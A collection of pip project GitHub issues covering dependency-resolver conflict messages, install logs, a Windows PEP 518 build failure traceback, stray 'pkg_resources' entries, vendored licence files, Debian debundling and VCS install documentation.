parso                    0.5.2             0.7.0      wheel conda     Anaconda
path                     13.1.0            14.0.1     wheel pip       Anaconda
pathspec                 0.7.0             0.8.0      wheel conda     Anaconda
pip                      20.0.2            20.1.1     wheel           Anaconda
portalocker              1.5.2             1.7.0      wheel pip       Anaconda
prometheus-client        0.7.1             0.8.0      wheel conda     Anaconda
protobuf                 3.11.4            3.12.2     wheel           Anaconda
pyarrow                  0.11.1            0.17.1     wheel           Anaconda
pyasn1-modules           0.2.7             0.2.8      wheel           Anaconda
pycodestyle              2.5.0             2.6.0      wheel           Anaconda
pydocstyle               4.0.1             5.0.2      wheel conda     Anaconda
pyflakes                 2.1.1             2.2.0      wheel pip       Anaconda
pylint                   2.5.2             2.5.3      wheel pip       Anaconda
PyNaCl                   1.3.0             1.4.0      wheel           Anaconda
pyodbc                   4.0.0-unsupported 4.0.30     wheel pip       Anaconda
pytest                   5.4.2             5.4.3      wheel           Anaconda
pytest-cov               2.8.1             2.9.0      wheel conda     Anaconda
pytest-doctestplus       0.5.0             0.7.0      wheel conda     Anaconda
python-language-server   0.31.10           0.33.1     wheel conda     Anaconda
pyzmq                    18.1.1            19.0.1     wheel           Anaconda
QtAwesome                0.7.0             0.7.2      wheel conda     Anaconda
regex                    2020.5.14         2020.6.8   wheel pip       Anaconda
ruamel-yaml              0.15.87           0.16.10    wheel           Anaconda
s3transfer               0.1.13            0.3.3      wheel           Anaconda
scikit-image             0.16.2            0.17.2     wheel pip       Anaconda
scikit-learn             0.22.1            0.23.1     wheel pip       Anaconda
sortedcollections        1.1.2             1.2.1      wheel pip       Anaconda
sortedcontainers         2.1.0             2.2.2      wheel           Anaconda
sphinxcontrib-websupport 1.2.1             1.2.2      wheel conda     Anaconda
sympy                    1.5.1             1.6        wheel pip       Anaconda
tenacity                 6.0.0             6.2.0      wheel pip       Anaconda
tifffile                 0.15.1            2020.6.3   wheel           Anaconda
toml                     0.10.0            0.10.1     wheel pip       Anaconda
tqdm                     4.46.0            4.46.1     wheel conda     Anaconda
typing-extensions        3.7.4.1           3.7.4.2    wheel pip       Anaconda
ujson                    1.35              3.0.0      wheel           Anaconda
urllib3                  1.25.8            1.25.9     wheel pip       Anaconda
wcwidth                  0.1.9             0.2.4      wheel conda     Anaconda
wrapt                    1.11.2            1.12.1     sdist pip       Anaconda
XlsxWriter               1.2.8             1.2.9      wheel conda     Anaconda
yapf                     0.28.0            0.30.0     wheel conda     Anaconda
zope.interface           4.7.1             5.1.0      wheel pip       Anaconda

```
</details>

I have Win-X64, conda version : 4.8.3, conda-build version : 3.18.11, python version : 3.7.7.final.0. 
I did modify my local pip 20.0.2, everything works good for me, see above. We can discuss these changes more if it will be considered as new useful feature for "pip list".  Old behavior completely unchanged, new feature available only with new option. 

user: vx1920
labels: resolution: invalid: Invalid issue/PR
resolution: wrong project: Should be reported elsewhere
issue_8361: state: open
title: Unclear error message when requirements conflict
body: I am testing out the resolver in pip 20.2b and found that while it is able to identify conflicts/incompatible versions, the error message even for simple cases is not very clear - as an example:

```
% pip install "numpy<1.16" "astropy>4.0"
Collecting astropy>4.0
  Downloading astropy-4.0.1.post1-cp38-cp38-macosx_10_9_x86_64.whl (6.5 MB)
     |████████████████████████████████| 6.5 MB 13.5 MB/s 
Collecting astropy>4.0
  Downloading astropy-4.0.1-cp38-cp38-macosx_10_9_x86_64.whl (6.5 MB)
     |████████████████████████████████| 6.5 MB 2.8 MB/s 
ERROR: Could not find a version that satisfies the requirement numpy<1.16
ERROR: Could not find a version that satisfies the requirement numpy>=1.16 (from astropy)
ERROR: Could not find a version that satisfies the requirement numpy<1.16
ERROR: Could not find a version that satisfies the requirement numpy>=1.16 (from astropy)
ERROR: No matching distribution found for numpy, numpy, numpy, numpy
```

Astropy 4.0 requires Numpy >=1.16, so specifying explicitly numpy<1.16 leads to an error (as it should) - but the error message is not very clear (especially the last line which complains about numpy four times). As a user, I would ideally expect to see an error message along the lines of ``'astropy>4.0' requires numpy>=1.16 which is incompatible with 'numpy<1.16'`` or something like this.

To be clear, in this situation the resolver is working fine, and in a case such as the following it does find combinations that work:

```
en% pip install "numpy<1.15" "astropy>3.0"
Collecting astropy>3.0
  Using cached astropy-4.0.1.post1-cp38-cp38-macosx_10_9_x86_64.whl (6.5 MB)
Collecting astropy>3.0
  Using cached astropy-4.0.1-cp38-cp38-macosx_10_9_x86_64.whl (6.5 MB)
Collecting astropy>3.0
  Downloading astropy-4.0-cp38-cp38-macosx_10_9_x86_64.whl (6.5 MB)
     |████████████████████████████████| 6.5 MB 9.4 MB/s 
Collecting astropy>3.0
  Downloading astropy-3.2.3-cp38-cp38-macosx_10_9_x86_64.whl (6.3 MB)
     |████████████████████████████████| 6.3 MB 7.1 MB/s 
Collecting numpy<1.15
  Downloading numpy-1.14.6.zip (4.9 MB)
     |████████████████████████████████| 4.9 MB 6.0 MB/s 
Using legacy setup.py install for numpy, since package 'wheel' is not installed.
Installing collected packages: numpy, astropy
```

So this issue is mainly to request more readable error output for cases where it doesn't work (to avoid the issue of conda resolution conflict logs which are unparsable by users).
user: astrofrog
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8339: state: open
title: Alpha resolver fails to install on conflict when current resolver would permit it
body: I found that in a case when the regular resolver would complain about a package incompatibility but install it anyway, the alpha resolver errored out and stopped without installing anything.

It is not clear if this is a bug in the current resolver, the new one, both, or neither. :-)

## Inputs

Fresh Python 3.5 virtualenv each time with pip 20.2b1 installed on Ubuntu Linux 18.04.4.

Contents of [requirements file](https://github.com/edx/alton/blob/d970a7b21e6757418a88f6c1e4245517851bdb47/requirements.txt):

```
will==0.9.3
boto==2.43.0
PyYAML==3.12
ipython==4.0.3
python-jenkins==0.4.14
pyparsing==2.0.7
pytz==2017.2
yagocd==0.4.4
```

## Old resolver

Output of `pip install -r requirements.txt`:

```
Processing /home/timmc/.cache/pip/wheels/27/03/9b/3e8a700c68ffe02c4fe9eec89b1a09fae23aaaedcf68b53353/will-0.9.3-py3-none-any.whl
Collecting boto==2.43.0
  Using cached boto-2.43.0-py2.py3-none-any.whl (1.3 MB)
Processing /home/timmc/.cache/pip/wheels/36/e8/a2/931a0f5060f69996e1d78a0b0ae235c042fee2a767177393bc/PyYAML-3.12-cp35-cp35m-linux_x86_64.whl
Collecting ipython==4.0.3
  Using cached ipython-4.0.3-py3-none-any.whl (730 kB)
Processing /home/timmc/.cache/pip/wheels/f7/a7/04/698ba41a3880444759dd4398e191f125565efe80dfd784d450/python_jenkins-0.4.14-py3-none-any.whl
Collecting pyparsing==2.0.7
  Using cached pyparsing-2.0.7-py2.py3-none-any.whl (38 kB)
Collecting pytz==2017.2
  Using cached pytz-2017.2-py2.py3-none-any.whl (484 kB)
Collecting yagocd==0.4.4
  Using cached yagocd-0.4.4-py2.py3-none-any.whl (53 kB)
Processing /home/timmc/.cache/pip/wheels/f6/72/12/109ff95e19bd8e20fb6291d320e451c46b76650df883f7418a/bottle-0.12.7-py3-none-any.whl
Processing /home/timmc/.cache/pip/wheels/f6/21/b8/15d92e95de1293453d19d52629acd148b56b7cd7d186720e47/Markdown-2.3.1-py3-none-any.whl
Processing /home/timmc/.cache/pip/wheels/d7/ea/c7/c92e27f6be8d9daab836133d72ac9dc50dff140c07c4a9c860/Jinja2-2.7.3-py3-none-any.whl
Collecting APScheduler==2.1.2
  Using cached APScheduler-2.1.2-py2.py3-none-any.whl (27 kB)
Processing /home/timmc/.cache/pip/wheels/50/7e/da/5d5adf578f45942fb69607aaf8350280c133cf1f739fe145d1/MarkupSafe-0.23-cp35-cp35m-linux_x86_64.whl
Processing /home/timmc/.cache/pip/wheels/58/6e/27/dcaeea0f4b7272d6ab98f53aeff362a39b9641618c046b23cb/natural-0.1.5-py3-none-any.whl
Processing /home/timmc/.cache/pip/wheels/04/9a/25/ff42f83b0d6937068c38be559c3d6e6018598efeca37c5fa8a/clint-0.3.7-py3-none-any.whl
Processing /home/timmc/.cache/pip/wheels/84/56/95/27ce0007f0fa17532ea7e8045370cb93c79c6977a396988185/sleekxmpp-1.3.1-py3-none-any.whl
Collecting CherryPy==3.6.0
  Using cached CherryPy-3.6.0-py3-none-any.whl (453 kB)
Processing /home/timmc/.cache/pip/wheels/40/cb/ac/29fd9b6192aa2c182338f789fbdf23cb335d9f41d4939d300b/hiredis-0.1.4-cp35-cp35m-linux_x86_64.whl
Processing /home/timmc/.cache/pip/wheels/dd/a0/32/a82341526f7e65f128aae8873beea68d78ff65ec71ede4c167/pyasn1_modules-0.0.5-py3-none-any.whl
Processing /home/timmc/.cache/pip/wheels/33/b2/32/4226c77705b3cd0e474edb13cf3036056d25027dc661277824/dill-0.2.1-py3-none-any.whl
Processing /home/timmc/.cache/pip/wheels/4c/c1/ce/ed9c5d0f3459fd863831ea832d6a02564c3c2d12bdda84643a/dnspython-1.12.0-py3-none-any.whl
Processing /home/timmc/.cache/pip/wheels/1b/02/db/dc446c02ad90ecd22b5344065a33d1c52ade55db475332a76d/redis-2.10.3-py3-none-any.whl
Processing /home/timmc/.cache/pip/wheels/6e/45/91/f61d4c07062e71f4b619d17b66cb54515b7f72ccb2103ded08/pyasn1-0.1.7-py3-none-any.whl
Processing /home/timmc/.cache/pip/wheels/76/28/c6/17f1eea302a0f65ed8da198bbb2499a7a152e57bc4a8996fb9/pygerduty-0.28-py3-none-any.whl
Collecting requests==2.4.1
  Using cached requests-2.4.1-py2.py3-none-any.whl (458 kB)
Processing /home/timmc/.cache/pip/wheels/c0/2b/bf/0aca3f70693590b3e06e30303bffb9dfbca196d43eef945059/parsedatetime-1.1.2-py3-none-any.whl
Collecting traitlets
  Using cached traitlets-4.3.3-py2.py3-none-any.whl (75 kB)
Collecting pickleshare
  Using cached pickleshare-0.7.5-py2.py3-none-any.whl (6.9 kB)
Processing /home/timmc/.cache/pip/wheels/12/7f/50/87cce86ea3e870aa24d10579b138d47482efe28506e7caaad4/simplegeneric-0.8.1-py3-none-any.whl
Collecting pexpect; sys_platform != "win32"
  Using cached pexpect-4.8.0-py2.py3-none-any.whl (59 kB)
Collecting decorator
  Using cached decorator-4.4.2-py2.py3-none-any.whl (9.2 kB)
Processing /home/timmc/.cache/pip/wheels/cd/6a/21/70eb09ed74894b7b5a598254da1e675bff96d07c9d263f0edf/multi_key_dict-2.0.3-py3-none-any.whl
Collecting six>=1.3.0
  Using cached six-1.15.0-py2.py3-none-any.whl (10 kB)
Collecting pbr>=0.8.2
  Using cached pbr-5.4.5-py2.py3-none-any.whl (110 kB)
Processing /home/timmc/.cache/pip/wheels/b3/d4/de/cb284c2639c66d6e2ef3a385d42774d7c24b460c9d37108666/easydict-1.9-py3-none-any.whl
Processing /home/timmc/.cache/pip/wheels/4f/40/7e/75601a1f7e45b2121bde5b163e0b6d7c25e257bf8b1e7c0597/args-0.1.0-py3-none-any.whl
Collecting ipython-genutils
  Using cached ipython_genutils-0.2.0-py2.py3-none-any.whl (26 kB)
Collecting ptyprocess>=0.5
  Using cached ptyprocess-0.6.0-py2.py3-none-any.whl (39 kB)
ERROR: will 0.9.3 has requirement PyYAML==3.10, but you'll have pyyaml 3.12 which is incompatible.
Installing collected packages: bottle, Markdown, MarkupSafe, Jinja2, PyYAML, APScheduler, natural, args, clint, sleekxmpp, CherryPy, hiredis, pyasn1, pyasn1-modules, dill, dnspython, redis, pygerduty, requests, parsedatetime, will, boto, ipython-genutils, six, decorator, traitlets, pickleshare, simplegeneric, ptyprocess, pexpect, ipython, multi-key-dict, pbr, python-jenkins, pyparsing, pytz, easydict, yagocd
Successfully installed APScheduler-2.1.2 CherryPy-3.6.0 Jinja2-2.7.3 Markdown-2.3.1 MarkupSafe-0.23 PyYAML-3.12 args-0.1.0 boto-2.43.0 bottle-0.12.7 clint-0.3.7 decorator-4.4.2 dill-0.2.1 dnspython-1.12.0 easydict-1.9 hiredis-0.1.4 ipython-4.0.3 ipython-genutils-0.2.0 multi-key-dict-2.0.3 natural-0.1.5 parsedatetime-1.1.2 pbr-5.4.5 pexpect-4.8.0 pickleshare-0.7.5 ptyprocess-0.6.0 pyasn1-0.1.7 pyasn1-modules-0.0.5 pygerduty-0.28 pyparsing-2.0.7 python-jenkins-0.4.14 pytz-2017.2 redis-2.10.3 requests-2.4.1 simplegeneric-0.8.1 six-1.15.0 sleekxmpp-1.3.1 traitlets-4.3.3 will-0.9.3 yagocd-0.4.4
```

(Only portion that was on stderr was the error line above: `ERROR: will 0.9.3 has requirement PyYAML==3.10, but you'll have pyyaml 3.12 which is incompatible.` Exit code was zero.)

This resulted in the following `pip list --format=freeze`:

```
APScheduler==2.1.2
args==0.1.0
boto==2.43.0
bottle==0.12.7
CherryPy==3.6.0
clint==0.3.7
decorator==4.4.2
dill==0.2.1
dnspython==1.12.0
easydict==1.9
hiredis==0.1.4
ipython==4.0.3
ipython-genutils==0.2.0
Jinja2==2.7.3
Markdown==2.3.1
MarkupSafe==0.23
multi-key-dict==2.0.3
natural==0.1.5
parsedatetime==1.1.2
pbr==5.4.5
pexpect==4.8.0
pickleshare==0.7.5
pip==20.2b1
ptyprocess==0.6.0
pyasn1==0.1.7
pyasn1-modules==0.0.5
pygerduty==0.28
pyparsing==2.0.7
python-jenkins==0.4.14
pytz==2017.2
PyYAML==3.12
redis==2.10.3
requests==2.4.1
setuptools==46.4.0
simplegeneric==0.8.1
six==1.15.0
sleekxmpp==1.3.1
traitlets==4.3.3
wheel==0.34.2
will==0.9.3
yagocd==0.4.4
```


## New resolver

Output of `pip install --unstable-feature=resolver -r requirements.txt`:

```
Collecting PyYAML==3.12
  Using cached PyYAML-3.12.zip (375 kB)
Collecting yagocd==0.4.4
  Using cached yagocd-0.4.4-py2.py3-none-any.whl (53 kB)
Collecting ipython==4.0.3
  Using cached ipython-4.0.3-py3-none-any.whl (730 kB)
Collecting will==0.9.3
  Using cached will-0.9.3.tar.gz (41 kB)
ERROR: Could not find a version that satisfies the requirement PyYAML==3.12
ERROR: Could not find a version that satisfies the requirement PyYAML==3.10 (from will)
ERROR: No matching distribution found for pyyaml, pyyaml
```

Last three lines were on stderr; exit code 1.

This resulted in the following `pip list --format=freeze`:

```
pip==20.2b1
setuptools==46.4.0
wheel==0.34.2
```
user: timmc-edx
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8335: state: open
title: [Windows] Failure due to detached buffer when using PEP518
body: **Environment**

* pip version: 20.0.2
* Python version: 3.7.6
* OS: Windows 10

**Description**
When some package uses a `pyproject.toml` according to [PEP 518](https://www.python.org/dev/peps/pep-0518/), and this package produces standard output during its setup - this happens e.g. when the package contains cython code - the package fails to install on windows due to the stdout buffer being detached.

Printing output to `stderr` does not cause issues with detached buffers. Using `python setup.py install` works fine too. The issue does not affect linux or freebsd systems.

**Expected behavior**
Package should install correctly. Any standard output generated during the install of either the package or its dependencies should be shown in the standard output from where `pip install` is run.

**How to Reproduce**
On windows 10:

Short version:
```
pip install poismf
```

Longer version:
* Create a python package with some cython extension (`.pyx` file).
* Create a `pyproject.toml` file with requirements such as e.g. `numpy`, `cython`.
* Create a source distribution with `python setup.py sdist` and try to install with `pip install dist/package*`.

**Output**

```
  Traceback (most recent call last):
    File "C:\Users\admin\anaconda3\lib\site-packages\pip\_vendor\pep517\_in_proc
ess.py", line 257, in <module>
      main()
    File "C:\Users\admin\anaconda3\lib\site-packages\pip\_vendor\pep517\_in_proc
ess.py", line 240, in main
      json_out['return_val'] = hook(**hook_input['kwargs'])
    File "C:\Users\admin\anaconda3\lib\site-packages\pip\_vendor\pep517\_in_proc
ess.py", line 182, in build_wheel
      metadata_directory)
    File "C:\Users\admin\AppData\Local\Temp\pip-build-env-psfhs7ff\overlay\Lib\s
ite-packages\setuptools\build_meta.py", line 213, in build_wheel
      wheel_directory, config_settings)
    File "C:\Users\admin\AppData\Local\Temp\pip-build-env-psfhs7ff\overlay\Lib\s
ite-packages\setuptools\build_meta.py", line 198, in _build_with_temp_dir
      self.run_setup()
    File "C:\Users\admin\AppData\Local\Temp\pip-build-env-psfhs7ff\overlay\Lib\s
ite-packages\setuptools\build_meta.py", line 250, in run_setup
      self).run_setup(setup_script=setup_script)
    File "C:\Users\admin\AppData\Local\Temp\pip-build-env-psfhs7ff\overlay\Lib\s
ite-packages\setuptools\build_meta.py", line 143, in run_setup
      exec(compile(code, __file__, 'exec'), locals())
    File "setup.py", line 43, in <module>
      include_dirs=[numpy.get_include()], define_macros = [("_FOR_PYTHON", None)
]
    File "C:\Users\admin\AppData\Local\Temp\pip-build-env-psfhs7ff\overlay\Lib\s
ite-packages\setuptools\__init__.py", line 144, in setup
      return distutils.core.setup(**attrs)
    File "C:\Users\admin\anaconda3\lib\distutils\core.py", line 148, in setup
      dist.run_commands()
    File "C:\Users\admin\anaconda3\lib\distutils\dist.py", line 966, in run_comm
ands
      self.run_command(cmd)
    File "C:\Users\admin\anaconda3\lib\distutils\dist.py", line 985, in run_comm
and
      cmd_obj.run()
    File "C:\Users\admin\AppData\Local\Temp\pip-build-env-psfhs7ff\overlay\Lib\s
ite-packages\wheel\bdist_wheel.py", line 223, in run
      self.run_command('build')
    File "C:\Users\admin\anaconda3\lib\distutils\cmd.py", line 313, in run_comma
nd
      self.distribution.run_command(command)
    File "C:\Users\admin\anaconda3\lib\distutils\dist.py", line 985, in run_comm
and
      cmd_obj.run()
    File "C:\Users\admin\anaconda3\lib\distutils\command\build.py", line 135, in
 run
      self.run_command(cmd_name)
    File "C:\Users\admin\anaconda3\lib\distutils\cmd.py", line 313, in run_comma
nd
      self.distribution.run_command(command)
    File "C:\Users\admin\anaconda3\lib\distutils\dist.py", line 985, in run_comm
and
      cmd_obj.run()
    File "C:\Users\admin\AppData\Local\Temp\pip-build-env-psfhs7ff\overlay\Lib\s
ite-packages\Cython\Distutils\old_build_ext.py", line 186, in run
      _build_ext.build_ext.run(self)
    File "C:\Users\admin\anaconda3\lib\distutils\command\build_ext.py", line 340
, in run
      self.build_extensions()
    File "setup.py", line 25, in build_extensions
      build_ext_with_blas.build_extensions(self)
    File "C:\Users\admin\AppData\Local\Temp\pip-build-env-psfhs7ff\overlay\Lib\s
ite-packages\findblas\distutils.py", line 112, in build_extensions
      build_ext.build_extensions(self)
    File "C:\Users\admin\AppData\Local\Temp\pip-build-env-psfhs7ff\overlay\Lib\s
ite-packages\Cython\Distutils\old_build_ext.py", line 193, in build_extensions
      ext.sources = self.cython_sources(ext.sources, ext)
    File "C:\Users\admin\AppData\Local\Temp\pip-build-env-psfhs7ff\overlay\Lib\s
ite-packages\Cython\Distutils\old_build_ext.py", line 328, in cython_sources
      log.info("cythoning %s to %s", source, target)
    File "C:\Users\admin\anaconda3\lib\distutils\log.py", line 46, in info
      self._log(INFO, msg, args)
    File "C:\Users\admin\AppData\Local\Temp\pip-build-env-psfhs7ff\overlay\Lib\s
ite-packages\numpy\distutils\log.py", line 35, in _log
      print(_global_color_map[level](msg))
  ValueError: underlying buffer has been detached
  Exception ignored in: <_io.TextIOWrapper mode='w' encoding='cp1252'>
  ValueError: underlying buffer has been detached
  ----------------------------------------
  ERROR: Failed building wheel for poismf
Failed to build poismf
ERROR: Could not build wheels for poismf which use PEP 517 and cannot be install
ed directly
```

user: david-cortes
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8331: state: open
title: pkg_resources==0.0.0 popping up again
body: **Environment**

* pip version: pip 20.1.1
* Python version: 3.8.2
* OS: Ubuntu 20.04 LTS

I am inside a virtual environment

**Description**
On updating packages using this command: `pip list --outdated --format=freeze |  cut -d = -f 1  | xargs -n1 pip install -U` which seems correct to me adds `pkg_resources==0.0.0` to requirements causing my CI build to break

**Expected behavior**
pkg_resources==0.0.0 should not be added

**How to Reproduce**
```
virtualenv test
source test/bin/activate
pip list --outdated --format=freeze | cut -d = -f 1  | xargs -n1 pip install -U
pip freeze | grep "0.0.0"
```
**Workaround:** Omitting the -U option in pip seems to work. Use this command: `pip list --outdated --format=freeze | cut -d = -f 1  | xargs -n1 pip install`
**Output**
```
hemil@Hemil:~/PycharmProjects/flask-backend$ virtualenv test
created virtual environment CPython3.8.2.final.0-64 in 202ms
  creator CPython3Posix(dest=/home/hemil/PycharmProjects/flask-backend/test, clear=False, global=False)
  seeder FromAppData(download=False, CacheControl=latest, packaging=latest, retrying=latest, ipaddr=latest, requests=latest, distlib=latest, msgpack=latest, chardet=latest, pyparsing=latest, webencodings=latest, certifi=latest, colorama=latest, setuptools=latest, pip=latest, html5lib=latest, wheel=latest, six=latest, lockfile=latest, idna=latest, progress=latest, appdirs=latest, urllib3=latest, contextlib2=latest, pkg_resources=latest, pytoml=latest, pep517=latest, distro=latest, via=copy, app_data_dir=/home/hemil/.local/share/virtualenv/seed-app-data/v1.0.1.debian)
  activators BashActivator,CShellActivator,FishActivator,PowerShellActivator,PythonActivator,XonshActivator
hemil@Hemil:~/PycharmProjects/flask-backend$ source test/bin/activate
(test) hemil@Hemil:~/PycharmProjects/flask-backend$ pip list --outdated --format=freeze | grep -v '^\-e' | cut -d = -f 1  | xargs -n1 pip install -U
Collecting appdirs
  Using cached appdirs-1.4.4-py2.py3-none-any.whl (9.6 kB)
Installing collected packages: appdirs
  Attempting uninstall: appdirs
    Found existing installation: appdirs 1.4.3
    Uninstalling appdirs-1.4.3:
      Successfully uninstalled appdirs-1.4.3
Successfully installed appdirs-1.4.4
Collecting certifi
  Using cached certifi-2020.4.5.1-py2.py3-none-any.whl (157 kB)
Installing collected packages: certifi
  Attempting uninstall: certifi
    Found existing installation: certifi 2019.11.28
    Uninstalling certifi-2019.11.28:
      Successfully uninstalled certifi-2019.11.28
Successfully installed certifi-2020.4.5.1
Collecting contextlib2
  Using cached contextlib2-0.6.0.post1-py2.py3-none-any.whl (9.8 kB)
Installing collected packages: contextlib2
  Attempting uninstall: contextlib2
    Found existing installation: contextlib2 0.6.0
    Uninstalling contextlib2-0.6.0:
      Successfully uninstalled contextlib2-0.6.0
Successfully installed contextlib2-0.6.0.post1
Collecting distro
  Using cached distro-1.5.0-py2.py3-none-any.whl (18 kB)
Installing collected packages: distro
  Attempting uninstall: distro
    Found existing installation: distro 1.4.0
    Uninstalling distro-1.4.0:
      Successfully uninstalled distro-1.4.0
Successfully installed distro-1.5.0
Collecting idna
  Using cached idna-2.9-py2.py3-none-any.whl (58 kB)
Installing collected packages: idna
  Attempting uninstall: idna
    Found existing installation: idna 2.8
    Uninstalling idna-2.8:
      Successfully uninstalled idna-2.8
Successfully installed idna-2.9
Collecting msgpack
  Using cached msgpack-1.0.0-cp38-cp38-manylinux1_x86_64.whl (303 kB)
Installing collected packages: msgpack
  Attempting uninstall: msgpack
    Found existing installation: msgpack 0.6.2
    Uninstalling msgpack-0.6.2:
      Successfully uninstalled msgpack-0.6.2
Successfully installed msgpack-1.0.0
Collecting packaging
  Using cached packaging-20.4-py2.py3-none-any.whl (37 kB)
Requirement already satisfied, skipping upgrade: pyparsing>=2.0.2 in ./test/lib/python3.8/site-packages (from packaging) (2.4.6)
Requirement already satisfied, skipping upgrade: six in ./test/lib/python3.8/site-packages (from packaging) (1.14.0)
Installing collected packages: packaging
  Attempting uninstall: packaging
    Found existing installation: packaging 20.3
    Uninstalling packaging-20.3:
      Successfully uninstalled packaging-20.3
Successfully installed packaging-20.4
Collecting pip
  Using cached pip-20.1.1-py2.py3-none-any.whl (1.5 MB)
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 20.0.2
    Uninstalling pip-20.0.2:
      Successfully uninstalled pip-20.0.2
Successfully installed pip-20.1.1
Collecting pyparsing
  Using cached pyparsing-2.4.7-py2.py3-none-any.whl (67 kB)
Installing collected packages: pyparsing
  Attempting uninstall: pyparsing
    Found existing installation: pyparsing 2.4.6
    Uninstalling pyparsing-2.4.6:
      Successfully uninstalled pyparsing-2.4.6
Successfully installed pyparsing-2.4.7
Collecting requests
  Using cached requests-2.23.0-py2.py3-none-any.whl (58 kB)
Requirement already satisfied, skipping upgrade: certifi>=2017.4.17 in ./test/lib/python3.8/site-packages (from requests) (2020.4.5.1)
Requirement already satisfied, skipping upgrade: chardet<4,>=3.0.2 in ./test/lib/python3.8/site-packages (from requests) (3.0.4)
Requirement already satisfied, skipping upgrade: idna<3,>=2.5 in ./test/lib/python3.8/site-packages (from requests) (2.9)
Requirement already satisfied, skipping upgrade: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in ./test/lib/python3.8/site-packages (from requests) (1.25.8)
Installing collected packages: requests
  Attempting uninstall: requests
    Found existing installation: requests 2.22.0
    Uninstalling requests-2.22.0:
      Successfully uninstalled requests-2.22.0
Successfully installed requests-2.23.0
Collecting setuptools
  Using cached setuptools-46.4.0-py3-none-any.whl (583 kB)
Installing collected packages: setuptools
  Attempting uninstall: setuptools
    Found existing installation: setuptools 44.0.0
    Uninstalling setuptools-44.0.0:
      Successfully uninstalled setuptools-44.0.0
Successfully installed setuptools-46.4.0
Collecting six
  Using cached six-1.15.0-py2.py3-none-any.whl (10 kB)
Installing collected packages: six
  Attempting uninstall: six
    Found existing installation: six 1.14.0
    Uninstalling six-1.14.0:
      Successfully uninstalled six-1.14.0
Successfully installed six-1.15.0
Collecting urllib3
  Using cached urllib3-1.25.9-py2.py3-none-any.whl (126 kB)
Installing collected packages: urllib3
  Attempting uninstall: urllib3
    Found existing installation: urllib3 1.25.8
    Uninstalling urllib3-1.25.8:
      Successfully uninstalled urllib3-1.25.8
Successfully installed urllib3-1.25.9
(test) hemil@Hemil:~/PycharmProjects/flask-backend$ pip freeze | grep "0.0.0"
pkg-resources==0.0.0

```

user: HemilTheRebel
labels: resolution: wrong project: Should be reported elsewhere
issue_8330: state: open
title: Why licenses of vendored libraries are not distributed in wheels?
body: This issue is opened as [suggested on IRC](http://kafka.dcpython.org/day/pypa/2020-05-27).  The question was originally raised by PyDon:

* The source distribution and the source tree controlled by `git` include vendor libs' `LICENSE` files
* However, wheels (and thus installed versions) of `pip` don't include these files
* As stated in [Vendoring Policy](https://pip.pypa.io/en/stable/development/vendoring-policy/),

  > Vendored libraries **MUST** be accompanied with LICENSE files.

We wonder if the `LICENSE` files are to accompanied installed vendored libraries.  As `pip` is licensed under MIT, I believe packages shipped along (i.e. vendored) with `pip` must be released under MIT-compatible licenses, i.e. permissive licenses.  If so, I *think* `pip` may impose MIT over those libraries and inclusion of their licenses are just the matter of courtesy.  I am not a lawyer so there's a high chance that I am wrong though, and if that's the case, we might need to do something about it.

In addition, I think our vendoring policy might want to require libraries to be vendored must be available under a MIT-compatible license.  If this is agreed upon, I'll file a PR to clarify it.
user: McSinyx
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8327: state: open
title: Debug output shows wrong versions when debundled
body: **Environment**

* pip version: 20.1.1
* Python version: Python 3.8.3 
* OS: Debian Unstable

The most important point is that Debian unbundles the pip depends and creates their own wheels from their archive due to Debian policy.  As a result, the versions are not consistently the same as those in vendor.txt.  Additionally, Debian doesn't include vendor.txt in it's package since it's not used.

**Description**
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=961540

The debug command assumes that vendor.txt is present (reasonable), but does not consider that the versions in vendor.txt may not be the ones used when the vendored modules are debundled.

**Expected behavior**
The debug command should show the module versions actually being used.  Additionally, it would be useful to show where they are located on the system (the fact that they are debundled is already shown).

**How to Reproduce**
1. Get package from Debian testing or unstable
2. Then run pip debug
3. An error occurs.

See the linked Debian bug.

I have a proposed change to resolve this.  I know pip's support of debundling is shallow, but I think this would improve it, so I'd prefer it go upstream and not just carry it as a Debian patch.  PR to follow.

user: kitterma
labels: project: <downstream>: When the cause/effect is related to redistributors
state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
issue_8317: state: open
title: better document on cvs support in pip 
body: I accidentally rushed things too much before and did not look at pip --help as well as I should of.  I feel i been complaining about the same thing so I don't want to make a new issue but I feel i should edit my current one and make it better then the old.  For clarity I marked what was old. I feel the main issue i am have is the documention on cvs(git svn etc) is not cleanly explaining How i can do bellow. 
 

**What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

old
>I trying to do 3 things that as far as I know you can not do with pip
>
>1.) download the source from git(or other) into a dir let say ~/pip-source
>2.)prefix all script_entry with a d(d 4 development or other) so the entry point for pip would then be >dpip
>3.) when the entry point is run have it automatically update git before executing 

while this is still true I did not put down why this is difficult

sbidoul said I should  
>pip install --src ~pip-source --editable
 
I am very confused how all this works and the document that you provide are not helping me much.

for example I  found  from here 
https://github.com/pypa/pip/blob/master/docs/html/reference/pip_install.rst

It said 

>The "project name" component of the URL suffix egg=<project name> is used by pip in its dependency logic to identify the project prior to pip downloading and analyzing the metadata. For projects where setup.py is not in the root of project, the "subdirectory" component is used. 

What with egg.  Egg is an old format I thought we are supposed to use wheel?

Why do we need the "+git+https" prefix can't we have git this from the url? 

Is an sdist (source distribution) be installed or the git repostory?
 
I think a source distrbion is a zip archived of the source is it ?


old

>This would allow for easy testing of development version along side stable. 
  
**Describe the solution you'd like**
new
I think there is a need to expand on the documentation here the current documentation does not make any sense at least to me.

I also wondering if some of this should be moved to a new tool. 

old

>I Think I done a  good explain of this above but i would like to add I would like to help if you deside you would like to implement this i have been playing around with implementing this  for fun  [https://github.com/frog-o/pip/tree/pip-source](here) in the dir fedp(fedp is just a simply python distribution that install a script dpip to launch the devlopment version of pip).  

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

old
>I started with fedp(to help me run a devolment version of pip along side the original source)  I would like to start and add devloper dependency to setup.py and do other things.  

>I have many ideas on this if your are interested in helping me.  

**Alternative Solutions**
old
>right know the work around was for me to create fedp.

**Additional context**
old
>I would like to edit my [https://github.com/frog-o/pip/blob/pip-source/fedp/src/fedp/cli/main.py](script)
